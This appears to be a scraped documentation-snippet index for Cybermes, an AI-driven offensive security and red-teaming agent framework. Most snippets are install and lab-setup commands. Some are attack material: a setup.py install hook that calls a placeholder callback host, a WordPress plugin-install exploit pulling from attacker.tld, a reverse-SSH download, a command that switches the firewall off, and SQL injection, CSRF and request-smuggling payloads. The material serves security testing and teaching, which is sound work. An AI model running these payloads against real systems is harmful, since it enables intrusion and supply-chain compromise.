Cybermes

https://github.com/zyrexnn/cybermes
Admin
Cybermes is an autonomous offensive security and red teaming agent framework designed for...
Tokens:3,545,089
Snippets:42,691
Trust Score:8.6
License:Apache-2.0
Update:1 month ago
Show doc for...
Tokens:
Raw
### Quick Start Execution

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/sqlmap/extra/boundarycheck/README.md

Install dependencies and run the automated disposable container setup.

```bash
pip install pymysql psycopg2-binary          # python drivers (see below for MSSQL/Oracle)
./run.sh                                       # spins up 2 containers, runs, tears everything down
```

--------------------------------

### Bootstrap Mythic Installation

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/windows-hardening/mythic.md

Initial setup commands to start the Mythic framework from the installation directory.

```bash
sudo make
sudo ./mythic-cli start
```

--------------------------------

### Setup and run OWASP Juice Shop

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/docs/verification/juice-shop-2026-05-15.md

Commands to clone, install dependencies, build the frontend and server, and start the Juice Shop instance on port 3001.

```bash
git clone --depth 1 https://github.com/juice-shop/juice-shop.git /tmp/juice-shop
cd /tmp/juice-shop

# Backend deps (~2 min, 931 packages)
npm install --omit=optional --no-audit --no-fund

# IMPORTANT: postinstall's frontend build silently fails on Node 25.
# You must explicitly build the frontend:
cd frontend
npm install --omit=optional --no-audit --no-fund   # ~3-5 min, 515 packages
./node_modules/.bin/ng build --configuration production   # ~1 min (Angular CLI not on PATH)
cd ..

# Compile server TypeScript
npm run build:server

# Start on alternative port (3000 was busy)
PORT=3001 node build/app
# Wait for: "info: Server listening on port 3001"
```

--------------------------------

### Setup Lab Environment

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/docs/verification/phase2e-jwt-graphql-race.md

Commands to initialize the virtual environment and install dependencies for the lab.

```bash
mkdir -p /tmp/phase2e-lab && cd /tmp/phase2e-lab
python3 -m venv .venv && source .venv/bin/activate
pip install flask pyjwt aiohttp
# Save app.py from Appendix A (also shipped at docs/verification/phase2e-lab/app.py)
python app.py
# Lab on http://localhost:58001
```

--------------------------------

### Setup Lab Environment

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/docs/verification/phase2g-saml-mfa-xxe.md

Commands to initialize the virtual environment and start the lab application.

```bash
mkdir -p /tmp/phase2g-lab && cd /tmp/phase2g-lab
python3 -m venv .venv && source .venv/bin/activate
pip install flask lxml aiohttp
python app.py
# Lab on http://localhost:58003
```

--------------------------------

### Launch Emulator with Writable System

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md

Example command to start an Android emulator with the -writable-system flag, which is required for installing system-level certificates.

```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```

--------------------------------

### Setup Flask Lab Environment

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/docs/verification/phase2f-ssti-oauth-fileupload.md

Commands to create a virtual environment, install dependencies, and start the vulnerable Flask application.

```bash
mkdir -p /tmp/phase2f-lab && cd /tmp/phase2f-lab
python3 -m venv .venv && source .venv/bin/activate
pip install flask
python app.py
# Lab on http://localhost:58002
```

--------------------------------

### Example Claude Code Prompt

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/docs/index.md

Example of how to initiate a task within Claude Code after installation.

```text
> I'm testing acme.com, an in-scope HackerOne target. Start recon and
  rank the attack surface.
```

--------------------------------

### Windows Setup Commands

Source: https://github.com/zyrexnn/cybermes/blob/main/README.md

Initialization and installation scripts specifically for Windows environments.

```bash
.\cybermes.bat
```

```bash
.\hermes.bat
```

```bash
.\setup_windows.ps1
```

--------------------------------

### Install and Run on Windows

Source: https://github.com/zyrexnn/cybermes/blob/main/README.md

Native setup using PowerShell scripts and environment configuration.

```powershell
# 1. Clone repository & run automated installer
git clone https://github.com/Zyrexnn/Cybermes.git; cd Cybermes
.\setup_windows.ps1

# 2. Configure API keys (Anthropic, OpenAI, DeepSeek, OpenRouter, etc.)
notepad .env

# 3. Optional: Verify health & launch assessment
python tools\doctor.py
.\cybermes.bat "Assess https://example.com"
```

--------------------------------

### Setup and Execution Environment

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/docs/verification/phase3-playwright-browser-execution.md

Commands to initialize the virtual environment, install dependencies, and launch the target application and test harness.

```bash
mkdir -p /tmp/phase3-playwright && cd /tmp/phase3-playwright
python3 -m venv .venv && source .venv/bin/activate
pip install flask playwright
playwright install chromium
python target_app.py &   # Flask target on :58020
python harness.py         # Run the Playwright tests
```

--------------------------------

### Setup Pure-FTP Server

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/generic-hacking/exfiltration.md

Install and configure a pure-ftp server on Linux.

```bash
apt-get update && apt-get install pure-ftp
```

```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```

--------------------------------

### Run Local Preview

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/README.md

Commands to install the Mintlify CLI and start the local development server for documentation.

```bash
npm i -g mintlify
cd docs && mintlify dev
```

--------------------------------

### Setup ReverseSSH Listener

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/generic-hacking/reverse-shells/full-ttys.md

Download the binary and start the listener on the local host.

```bash
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444
```

--------------------------------

### Install and Run on Linux and macOS

Source: https://github.com/zyrexnn/cybermes/blob/main/README.md

Native setup using shell scripts on Unix-based systems.

```bash
# 1. Clone repository & run automated installer
git clone https://github.com/Zyrexnn/Cybermes.git && cd Cybermes
./setup.sh

# 2. Configure API keys
nano .env

# 3. Optional: Verify health & launch assessment
python3 tools/doctor.py
./cybermes "Assess https://example.com"
```

--------------------------------

### pip Setup Hook PoC

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hack-skills/skills/dependency-confusion/SKILL.md

A setup.py excerpt demonstrating an install command override to trigger an HTTP callback.

```python
# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(
    name="some-internal-package-name",
    version="9.9.9",
    cmdclass={"install": PoCInstall},
)
```

--------------------------------

### Setup Python FTP Server

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/generic-hacking/exfiltration.md

Install and run a simple FTP server using pyftpdlib.

```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```

--------------------------------

### Setup Android SDK and AVD via CLI

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md

Commands to install SDK tools, configure environment variables, and launch a rootable emulator instance.

```bash
# Directory layout
mkdir -p ~/Android/cmdline-tools/latest

# Download commandline tools (Linux)
wget https://dl.google.com/android/repository/commandlinetools-linux-13114758_latest.zip -O /tmp/cmdline-tools.zip
unzip /tmp/cmdline-tools.zip -d ~/Android/cmdline-tools/latest
rm /tmp/cmdline-tools.zip

# Env vars (add to ~/.bashrc or ~/.zshrc)
export ANDROID_HOME=$HOME/Android
export PATH=$ANDROID_HOME/cmdline-tools/latest/bin:$ANDROID_HOME/platform-tools:$ANDROID_HOME/emulator:$PATH

# Install core SDK components
sdkmanager --install "platform-tools" "emulator"

# Install a debuggable x86_64 system image (Android 11 / API 30)
sdkmanager --install "system-images;android-30;google_apis;x86_64"

# Create an AVD and run it with a writable /system & snapshot name
avdmanager create avd -n PixelRootX86 -k "system-images;android-30;google_apis;x86_64" -d "pixel"
emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap

# Verify root (debuggable images allow `adb root`)
adb root
adb shell whoami  # expect: root
```

--------------------------------

### Agent Prompt Examples

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/integrations/coding-agents.mdx

Example natural language prompts for interacting with installed Strix skills.

```text
Pentest this repo with Strix (quick mode, $10 budget) and summarize the findings.
```

```text
Fix all critical and high findings from the last Strix run, then re-scan to verify.
```

```text
Add Strix security scanning to our GitHub Actions so every PR gets tested.
```

--------------------------------

### Setup Frida environment

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/skills/apk-redteam-pipeline/SKILL.md

Installs necessary Frida tools and verifies device connectivity.

```bash
pip install --break-system-packages frida-tools objection
adb devices  # ensure device/emulator connected
# Push frida-server to device (root required, or use rooted emulator like Genymotion / x86_64 AVD)
```

--------------------------------

### Install development dependencies

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/CONTRIBUTING.md

Commands to set up the local development environment using make or uv.

```bash
make setup-dev

# or manually:
uv sync
uv run pre-commit install
```

--------------------------------

### Install EAPHammer

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/generic-methodologies-and-resources/pentesting-wifi/README.md

Commands to clone the EAPHammer repository and run the setup script.

```bash
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```

--------------------------------

### Setup NodeJS FTP Server

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/generic-hacking/exfiltration.md

Install and run an FTP server using the ftp-srv package.

```bash
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```

--------------------------------

### Install Cybermes via Local Repository

Source: https://github.com/zyrexnn/cybermes/blob/main/docs/MCP_SETUP.md

Runs the setup script from the local repository to configure the MCP server.

```python
python scripts/setup_mcp.py
```

--------------------------------

### Run Linux Automated Installer

Source: https://github.com/zyrexnn/cybermes/blob/main/docs/INSTALL_WINDOWS.md

Set execution permissions and run the setup script in a Linux environment.

```bash
chmod +x setup.sh
./setup.sh
```

--------------------------------

### Run Automated Windows Installer

Source: https://github.com/zyrexnn/cybermes/blob/main/docs/INSTALL_WINDOWS.md

Executes the setup script to initialize the environment, virtual environment, and folder structures.

```powershell
.\setup_windows.ps1
```

--------------------------------

### Setup Unicorn Engine Emulation

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hack-skills/skills/symbolic-execution-tools/SKILL.md

Initializes the Unicorn engine, maps memory, sets registers, and starts emulation.

```python
from unicorn import *
from unicorn.x86_const import *
from capstone import Cs, CS_ARCH_X86, CS_MODE_64

mu = Uc(UC_ARCH_X86, UC_MODE_64)

CODE_ADDR = 0x400000
STACK_ADDR = 0x7fff0000
STACK_SIZE = 0x10000

mu.mem_map(CODE_ADDR, 0x10000)
mu.mem_map(STACK_ADDR, STACK_SIZE)

mu.mem_write(CODE_ADDR, code_bytes)
mu.reg_write(UC_X86_REG_RSP, STACK_ADDR + STACK_SIZE - 0x1000)
mu.reg_write(UC_X86_REG_RBP, STACK_ADDR + STACK_SIZE - 0x1000)

mu.emu_start(CODE_ADDR, CODE_ADDR + len(code_bytes))

result = mu.reg_read(UC_X86_REG_RAX)
```

--------------------------------

### Verify setup-guard configuration

Source: https://github.com/zyrexnn/cybermes/blob/main/skills/security/ai-api-gateway-security/references/new-api-gateway.md

Tests the setup endpoint to ensure the system is properly initialized and prevents unauthorized account creation.

```bash
curl -s https://TARGET/api/setup            # expect {"data":{"root_init":false,...}} (misleading)
curl -s -X POST https://TARGET/api/setup \
  -H "Content-Type: application/json" \
  -d '{"username":"bb_test","password":"TestPass123!"}'
# Patched => {"message":"系统已经初始化完成","success":false}
# Then verify no account: POST /api/user/login with those creds => expect failure.
```

--------------------------------

### ngrok Installation and Configuration

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/generic-hacking/tunneling-and-port-forwarding.md

Steps to install the ngrok binary and initialize the configuration file.

```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```

--------------------------------

### Install Strix with Bedrock support

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/llm-providers/bedrock.mdx

Install the necessary dependencies using pipx.

```bash
pipx install "strix-agent[bedrock]"
```

--------------------------------

### Install Strix CLI

Source: https://github.com/zyrexnn/cybermes/blob/main/skills/penetration-testing-with-strix/SKILL.md

Use curl or pipx to install the Strix agent.

```bash
curl -sSL https://strix.ai/install | bash   # or: pipx install strix-agent
```

--------------------------------

### Vienna Chatbot Chain Example

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/skills/bb-local-toolkit/SKILL.md

An example of a vulnerability chain starting from an active debug parameter.

```text
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
```

--------------------------------

### Install Python Drivers

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/sqlmap/extra/boundarycheck/README.md

Install the necessary database drivers for the engines you intend to test.

```bash
pip install pymysql psycopg2-binary pymssql oracledb
```

--------------------------------

### Install and Run Strix Scan

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/index.mdx

Use these commands to install the Strix CLI, configure the LLM provider, and initiate a security scan against a target application.

```bash
# Install
curl -sSL https://strix.ai/install | bash

# Configure
export STRIX_LLM="openai/gpt-5.4"
export LLM_API_KEY="your-api-key"

# Scan
strix --target ./your-app
```

--------------------------------

### Start Database Containers

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/sqlmap/extra/boundarycheck/README.md

Commands to launch MySQL, PostgreSQL, MSSQL, and Oracle Free instances in Docker.

```bash
# MySQL (fast)
docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:3306 mysql:8.4

# PostgreSQL (fast)
docker run -d --rm --name bcheck-pg -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p 15432:5432 postgres:16

# MSSQL (slower; ~30-60s to accept connections)
docker run -d --rm --name bcheck-mssql -e ACCEPT_EULA=Y -e MSSQL_SA_PASSWORD=Esp_pass123 -p 11433:1433 mcr.microsoft.com/mssql/server:2022-latest

# Oracle Free (slowest; first boot can take a few minutes and the image is large)
docker run -d --rm --name bcheck-oracle -e ORACLE_PASSWORD=oracle -p 1521:1521 gvenzl/oracle-free:slim
```

--------------------------------

### Install WFuzz

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/pentesting-web/web-tool-wfuzz.md

Commands to install WFuzz on Kali Linux or via pip, including a Docker execution example.

```bash
sudo apt install wfuzz
pip install -U wfuzz
# Docker image
# docker run -v $(pwd)/wordlist:/wordlist/ -it ghcr.io/xmendez/wfuzz wfuzz
```

--------------------------------

### Install Strix with Vertex AI support

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/llm-providers/vertex.mdx

Use pipx to install the strix-agent package with the required vertex extra.

```bash
pipx install "strix-agent[vertex]"
```

--------------------------------

### Fat GET Request and Response Example

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hack-skills/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md

Demonstrates a GET request with a body that influences the response, which is then cached by the server.

```http
GET /api/config HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

callback=alert(1)

HTTP/1.1 200 OK
Content-Type: application/javascript
Cache-Control: public, max-age=3600

alert(1)({"theme":"default","lang":"en"})
```

--------------------------------

### Run the installer

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/INSTALL.md

Execute the installation script for your specific operating system.

```bash
# macOS / Linux
bash scripts/install.sh

# Windows (PowerShell)
pwsh ./scripts/install.ps1
```

--------------------------------

### Install and Run Strix Assessment

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/README.md

Installs the Strix CLI, configures the required LLM provider, and initiates a security assessment on a target directory.

```bash
# Install Strix
curl -sSL https://strix.ai/install | bash

# Configure your AI provider
export STRIX_LLM="openai/gpt-5.4"
export LLM_API_KEY="your-api-key"

# Run your first security assessment
strix --target ./app-directory
```

--------------------------------

### Execute command and write to stdin

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/strix/tools/shell/README.md

Demonstrates the required sequence of starting a PTY-backed process before streaming input to it.

```text
exec_command(cmd="python3", tty=true)      # start a PTY-backed process
write_stdin(session_id=<id>, chars="print(1)\n")
```

--------------------------------

### Common instruction use cases

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/usage/instructions.mdx

Examples for authenticated testing, scope focusing, exclusions, and API testing.

```bash
strix --target https://app.com \
  --instruction "Login with email: test@example.com, password: TestPass123"
```

```bash
strix --target https://api.example.com \
  --instruction "Focus on IDOR vulnerabilities in the /api/users endpoints"
```

```bash
strix --target https://app.com \
  --instruction "Do not test /admin or /internal endpoints"
```

```bash
strix --target https://api.example.com \
  --instruction "Use API key header: X-API-Key: abc123. Focus on rate limiting bypass."
```

--------------------------------

### Logical Operation Confirmation Examples

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/pentesting-web/sql-injection/README.md

Examples of using logical operations in GET parameters to confirm SQL injection.

```text
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```

--------------------------------

### Install and Configure Telnet Server

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/windows-hardening/av-bypass.md

Commands to install, configure, and start the legacy Telnet server on Windows systems.

```bash
pkgmgr /iu:"TelnetServer" /quiet
```

```bash
sc config TlntSVR start= auto obj= localsystem
```

```bash
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```

--------------------------------

### Coinbase S3 to OAuth Chain Example

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/skills/bb-local-toolkit/SKILL.md

An example of a multi-stage vulnerability chain starting from an S3 bucket misconfiguration.

```text
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
```

--------------------------------

### Run Strix with inline instructions

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/usage/instructions.mdx

Pass a string directly to the CLI to guide the scan focus.

```bash
strix --target https://app.com --instruction "Focus on authentication vulnerabilities"
```

--------------------------------

### Supported Model Format Examples

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/llm-providers/overview.mdx

Use the provider/model-name format required by LiteLLM for model configuration.

```text
openai/gpt-5.4
anthropic/claude-sonnet-4-6
vertex_ai/gemini-3-pro-preview
bedrock/anthropic.claude-4-5-sonnet-20251022-v1:0
ollama/llama4
```

--------------------------------

### Enumerate Startup Programs via WMIC and CIM

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md

Use these commands to list binaries configured to run at startup.

```bash
wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
```

--------------------------------

### GET Request via HTML Tags

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/pentesting-web/csrf-cross-site-request-forgery.md

Examples of using various HTML tags to automatically trigger GET requests.

```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```

```html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
  <video src="...">
    <source src="..." type="..." />
    <video poster="...">
      <link rel="stylesheet" href="..." />
      <object data="...">
        <body background="...">
          <div style="background: url('...');"></div>
          <style>
            body {
              background: url("...");
            }
          </style>
          <bgsound src="...">
            <track src="..." kind="subtitles" />
            <input type="image" src="..." alt="Submit Button"
          /></bgsound>
        </body>
      </object>
    </video>
  </video>
</audio>
```

--------------------------------

### Client-Side Desync Flow Example

Source: https://github.com/zyrexnn/cybermes/blob/main/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md

Demonstrates the sequence of fetch requests used to desynchronize the browser connection.

```javascript
fetch('https://target.com/trigger', {
  method: 'POST',
  mode: 'no-cors',
  credentials: 'include',
  body: 'GET /victim-data HTTP/1.1\r\nHost: target.com\r\n\r\n'
});
```

```javascript
fetch('https://target.com/api/me', {
  credentials: 'include'
});
```

--------------------------------

### Expose WebView JavaScript Bridge for Installer Control

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/generic-methodologies-and-resources/basic-forensic-methodology/android-malware-post-exploitation.md

Configures a WebView interface to allow JavaScript to trigger native installation logic. Monitor for bridges exposing methods like start or install.

```java
webView.addJavascriptInterface(controller, "Android");
webView.loadUrl("file:///android_asset/bootstrap.html");

@JavascriptInterface
public String get_SYSINFO() { /* SDK, model, manufacturer, locale */ }

@JavascriptInterface
public void start() { mainHandler.post(this::installStage2); }
```

--------------------------------

### Reproduction Commands

Source: https://github.com/zyrexnn/cybermes/blob/main/skills/reporting/SKILL.md

Example cURL commands used to demonstrate vulnerability reproduction.

```bash
curl -i -s -k -X GET 'https://api.target.com/v1/endpoint' \
     -H 'Authorization: Bearer <TEST_TOKEN_A>'
```

```bash
curl -i -s -k -X GET 'https://api.target.com/v1/endpoint?id=999' \
     -H 'Authorization: Bearer <TEST_TOKEN_A>'
```

--------------------------------

### Install QEMU emulation tools

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/hardware-physical-access/firmware-analysis/README.md

Install necessary QEMU packages to support cross-architecture binary emulation.

```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```

--------------------------------

### Exploit arbitrary plugin installation via cURL

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/network-services-pentesting/pentesting-web/wordpress.md

Example of triggering a vulnerable REST API endpoint to install a plugin from a remote source.

```bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
  -H 'Content-Type: application/json' \
  --data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```

--------------------------------

### Strix CLI Command Examples

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/usage/cli.mdx

A collection of common CLI commands for running scans, managing targets, and configuring resource limits.

```bash
# Basic scan
strix --target https://example.com

# Authenticated testing
strix --target https://app.com --instruction "Use credentials: user:pass"

# Focused testing
strix --target api.example.com --instruction "Focus on IDOR and auth bypass"

# CI/CD mode
strix -n --target ./ --scan-mode quick

# Cap cost and per-agent turns
strix --target https://example.com --max-budget 25 --max-turns 300

# Force diff-scope against a specific base ref
strix -n --target ./ --scan-mode quick --scope-mode diff --diff-base origin/main

# Multi-target white-box testing
strix -t https://github.com/org/app -t https://staging.example.com

# API spec + live target (OpenAPI/Swagger file or Postman collection)
strix -t ./openapi.yaml -t https://api.example.com

# Postman collection pulled live by id (+ optional environment)
strix -t "postman://<collection-uuid>?env=<environment-uuid>"

# Targets from a file
strix --target-list ./targets.txt

# Extra files placed in the sandbox workspace
strix --target ./my-project --workspace-file ./wordlist.txt
strix --target https://app.com --workspace-file ./openapi.yaml:specs/openapi.yaml
```

--------------------------------

### Vulnerable AJAX plugin installer implementation

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/network-services-pentesting/pentesting-web/wordpress.md

A PHP example showing an AJAX handler that performs plugin installation without verifying user capabilities.

```php
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
    check_ajax_referer('mvl_theme_install_base', 'nonce');

    $plugin_url  = sanitize_text_field($_GET['plugin']);
    $plugin_slug = 'motors-car-dealership-classified-listings';

    $upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
    $upgrader->install($plugin_url);
    mvl_theme_activate_plugin($plugin_slug);
}
```

--------------------------------

### Instruction file format example

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/usage/instructions.mdx

Structure for a markdown file containing credentials, focus areas, and out-of-scope endpoints.

```markdown
# Penetration Test Instructions

## Credentials
- Admin: admin@example.com / AdminPass123
- User: user@example.com / UserPass123

## Focus Areas
1. IDOR in user profile endpoints
2. Privilege escalation between roles
3. JWT token manipulation

## Out of Scope
- /health endpoints
- Third-party integrations
```

--------------------------------

### Setup Lab Environment

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/Claude-BugHunter/docs/verification/hardened-lab-discipline-rules.md

Commands to initialize the virtual environment and launch the Flask application for testing.

```bash
mkdir -p /tmp/hardened-lab && cd /tmp/hardened-lab
python3 -m venv .venv && source .venv/bin/activate
pip install flask
# Save app.py from Appendix A
python app.py
# Lab on http://localhost:58000
```

--------------------------------

### Fat GET Request

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md

Example of a GET request containing a body, which may cause the cache to store an error response under a clean URL key.

```http
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz

HTTP/2 403 Forbidden
X-Cache: hit
```

--------------------------------

### Initialize Python environment and install dependencies

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/crypto/README.md

Create a virtual environment and install common cryptographic and exploitation libraries.

```bash
python3 -m venv .venv
source .venv/bin/activate
python -m pip install pycryptodome gmpy2 sympy pwntools
```

--------------------------------

### Environment variable setup for Strix

Source: https://github.com/zyrexnn/cybermes/blob/main/tools/strix/docs/advanced/configuration.mdx

Configure required LLM credentials and optional sandbox or search settings using environment variables.

```bash
# Required
export STRIX_LLM="openai/gpt-5.4"
export LLM_API_KEY="sk-..."

# Optional: Enable web search
export PERPLEXITY_API_KEY="pplx-..."

# Optional: Custom timeouts
export LLM_TIMEOUT="600"
export STRIX_SANDBOX_EXECUTION_TIMEOUT="300"
```

--------------------------------

### Install Volatility3

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md

Standard installation steps for the Volatility3 framework.

```bash
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
python3 setup.py install
python3 vol.py —h
```

--------------------------------

### Joomla robots.txt Example

Source: https://github.com/zyrexnn/cybermes/blob/main/knowledge/hacktricks/src/network-services-pentesting/pentesting-web/joomla.md

Standard robots.txt configuration for Joomla installations.

```text
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
Tokens:
Raw